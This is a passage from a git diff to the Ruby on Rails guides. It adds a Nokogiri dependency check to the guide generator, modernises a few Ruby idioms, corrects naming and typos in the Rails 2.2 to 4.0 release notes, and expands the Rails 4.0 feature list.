begin require 'redcarpet' -rescue Gem::LoadError +rescue LoadError # This can happen if doc:guides is executed in an application. $stderr.puts('Generating guides requires Redcarpet 2.1.1+.') $stderr.puts(<<ERROR) if bundler? @@ -39,6 +39,25 @@ ERROR exit 1 end +begin + require 'nokogiri' +rescue LoadError + # This can happen if doc:guides is executed in an application. + $stderr.puts('Generating guides requires Nokogiri.') + $stderr.puts(<<ERROR) if bundler? +Please add + + gem 'nokogiri' + +to the Gemfile, run + + bundle install + +and try again. +ERROR + exit 1 +end + require 'rails_guides/markdown' require "rails_guides/generator" RailsGuides::Generator.new.generate diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb index af9c5b8372..aa900454c8 100644 --- a/guides/rails_guides/generator.rb +++ b/guides/rails_guides/generator.rb @@ -184,7 +184,7 @@ module RailsGuides def generate?(source_file, output_file) fin = File.join(source_dir, source_file) fout = output_path_for(output_file) - all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin) + all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin) end def generate_guide(guide, output_file) diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb index a288d0f0f4..760b196abd 100644 --- a/guides/rails_guides/helpers.rb +++ b/guides/rails_guides/helpers.rb @@ -17,7 +17,7 @@ module RailsGuides end def documents_flat - documents_by_section.map {|section| section['documents']}.flatten + documents_by_section.flat_map {|section| section['documents']} end def finished_documents(documents) diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb index c3fe5b8799..2eb7ca17a3 100644 --- a/guides/rails_guides/markdown/renderer.rb +++ b/guides/rails_guides/markdown/renderer.rb @@ -65,7 +65,7 @@ HTML # if a bulleted list follows the first item is not rendered # as a list item, but as a paragraph starting with a plain # asterisk. - body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| + body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do css_class = case $1 when 'CAUTION', 'IMPORTANT' 'warning' diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index 802455f612..522f628a7e 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -200,7 +200,7 @@ Active Record association proxies now respect the scope of methods on the proxie * More information: * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/) -### Other ActiveRecord Changes +### Other Active Record Changes * `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo * Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp. @@ -327,7 +327,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. ```ruby -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} ``` Lead Contributor: [Adam Keys](http://therealadam.com/) @@ -366,7 +366,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. * The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` Railties -------- diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md index 7aef566e40..8c633fa169 100644 --- a/guides/source/2_3_release_notes.md +++ b/guides/source/2_3_release_notes.md @@ -40,7 +40,7 @@ Here's a summary of the rack-related changes: * `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache. * The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`. * `ActionController::Request` inherits from `Rack::Request`. -* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. +* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. * Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it. ### Renewed Support for Rails Engines @@ -134,7 +134,7 @@ Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, ### Batch Processing -You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`: +You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`: ```ruby Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| @@ -173,8 +173,8 @@ before_save :update_credit_rating, :if => :active, Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: ```ruby -developers = Developer.find(:all, :group => "salary", - :having => "sum(salary) > 10000", :select => "salary") +developers = Developer.find(:all, :group => "salary", + :having => "sum(salary) > 10000", :select => "salary") ``` * Lead Contributor: [Emilio Tagua](http://github.com/miloops) @@ -237,7 +237,7 @@ If you're one of the people who has always been bothered by the special-case nam ### HTTP Digest Authentication Support -Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): +Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials): ```ruby class PostsController < ApplicationController @@ -451,11 +451,11 @@ select(:post, :category, Post::CATEGORIES, :disabled => 'private') returns ```html -<select name=“post[category]“> +<select name="post[category]"> <option>story</option> <option>joke</option> <option>poem</option> -<option disabled=“disabled“>private</option> +<option disabled="disabled">private</option> </select> ``` @@ -504,7 +504,7 @@ A lot of folks have adopted the notion of using try() to attempt operations on o ### Swappable Parsers for XMLmini -The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: +The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: ```ruby XmlMini.backend = 'LibXML' @@ -604,9 +604,9 @@ Deprecated A few pieces of older code are deprecated in this release: * If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.) +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master). * Support for Rails components has been removed. -* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. * The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. * Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md index 388ba3fa30..cf9d694de7 100644 --- a/guides/source/3_0_release_notes.md +++ b/guides/source/3_0_release_notes.md @@ -73,13 +73,11 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! -More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade) - Creating a Rails 3.0 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -342,7 +340,7 @@ Helpers that do something else, like `cache` or `content_for`, are not affected * Helpers now output HTML 5 by default. * Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation. * I18n select label on should now be :en.helpers.select instead of :en.support.select. -* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output. +* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output. * Added `grouped_collection_select` helper to Action View. * `content_for?` has been added allowing you to check for the existence of content in a view before rendering. * passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value @@ -475,7 +473,7 @@ As well as the following deprecations: * `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`. * In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`. * `save(false)` is deprecated, in favor of `save(:validate => false)`. -* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`. +* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`. * `model.errors.on` is deprecated in favor of `model.errors[]` * validates_presence_of => validates... :presence => true * `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging` @@ -580,7 +578,7 @@ Action Mailer has been given a new API with TMail being replaced out with the ne * All mailers are now in `app/mailers` by default. * Can now send email using new API with three methods: `attachments`, `headers` and `mail`. -* ActionMailer now has native support for inline attachments using the `attachments.inline` method. +* Action Mailer now has native support for inline attachments using the `attachments.inline` method. * Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself. * All delivery methods are now abstracted out to the Mail gem. * The mail delivery method can accept a hash of all valid mail header fields with their value pair. @@ -611,4 +609,3 @@ Credits See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them. Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.) - diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md index d3f8abe0c8..485f8c756b 100644 --- a/guides/source/3_1_release_notes.md +++ b/guides/source/3_1_release_notes.md @@ -137,7 +137,7 @@ Creating a Rails 3.1 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -286,7 +286,7 @@ Action Pack end ``` - You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information. + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. * The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index 68a47be14f..ce811a583b 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -21,7 +21,7 @@ If you're upgrading an existing application, it's a great idea to have good test Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. ### What to update in your apps @@ -67,7 +67,7 @@ Creating a Rails 3.2 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -101,7 +101,7 @@ Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [A ### Automatic Query Explains -Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations. +Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations. Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. @@ -137,7 +137,7 @@ Railties * Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. -* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory. +* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory. * Add an alias `d` for `destroy`. This works for engines too. @@ -185,11 +185,11 @@ Action Pack end ``` - Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. + Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions. -* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}". +* `form\_for` is changed to use `#{action}\_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}\_#{action}`. -* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. +* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. * Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. @@ -219,7 +219,7 @@ Action Pack * MIME type entries for PDF, ZIP and other formats were added. -* Allow fresh_when/stale? to take a record instead of an options hash. +* Allow `fresh_when/stale?` to take a record instead of an options hash. * Changed log level of warning for missing CSRF token from `:debug` to `:warn`. @@ -227,7 +227,7 @@ Action Pack #### Deprecations -* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: +* Deprecated implied layout lookup in controllers whose parent had an explicit layout set: ```ruby class ApplicationController @@ -238,13 +238,13 @@ Action Pack end ``` - In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. -* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`. +* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. -* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`. +* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`. -* Deprecated `method_missing` in favour of `action_missing` for missing actions. +* Deprecated `method_missing` in favor of `action_missing` for missing actions. * Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. @@ -254,7 +254,7 @@ Action Pack * Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. -* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. +* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. * Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. @@ -375,7 +375,7 @@ Active Record * Support index sort order in SQLite, MySQL and PostgreSQL adapters. -* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. ```ruby has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index 37afb25181..19c690233c 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -15,14 +15,14 @@ These release notes cover only the major changes. To know about various bug fixe Upgrading to Rails 4.0 ---------------------- -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. Creating a Rails 4.0 application -------------------------------- ``` - You should have the 'rails' rubygem installed + You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -50,24 +50,61 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev Major Features -------------- -TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections. +[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png) -![Rails 4.0](images/rails4_features.png) +### Upgrade + + * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required + * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. + * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. + * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. + * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. + * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. + * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. + * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. + +### ActionPack + + * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). + * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). + * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. + * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation + * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. + * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. + * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. + * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. + +### General + + * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`) + * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables. + * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file. + * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important. + * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store. + * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers. + * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe. + * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources. + +### Security + + * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. + * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. + * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). Extraction of features to gems --------------------------- In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back. -* Hash-based & Dynamic finder methods ([Github](https://github.com/rails/activerecord-deprecated_finders)) -* Mass assignment protection in Active Record models ([Github](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) -* ActiveRecord::SessionStore ([Github](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) -* Active Record Observers ([Github](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) -* Active Resource ([Github](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) -* Action Caching ([Github](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Page Caching ([Github](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Sprockets ([Github](https://github.com/rails/sprockets-rails)) -* Performance tests ([Github](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876)) +* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders)) +* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) +* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) +* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) +* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) +* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Sprockets ([GitHub](https://github.com/rails/sprockets-rails)) +* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876)) Documentation ------------- @@ -79,16 +116,20 @@ Documentation Railties -------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes. ### Notable changes -* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) +* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) -* Your app's executables now live in the `bin/` dir. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`. +* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`. * Threadsafe on by default +* Ability to use a custom builder by passing `--builder` (or `-b`) to + `rails new` has been removed. Consider using application templates + instead. ([Pull Request](https://github.com/rails/rails/pull/9401)) + ### Deprecations * `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded. @@ -98,7 +139,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt Action Mailer ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes. ### Notable changes @@ -107,49 +148,62 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio Active Model ------------ -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes. ### Notable changes -* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. +* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. -* Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box. +* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box. ### Deprecations Active Support -------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes. ### Notable changes -* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore. +* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. + +* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. + +* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. + +* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. -* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead. +* `String#to_date` now raises 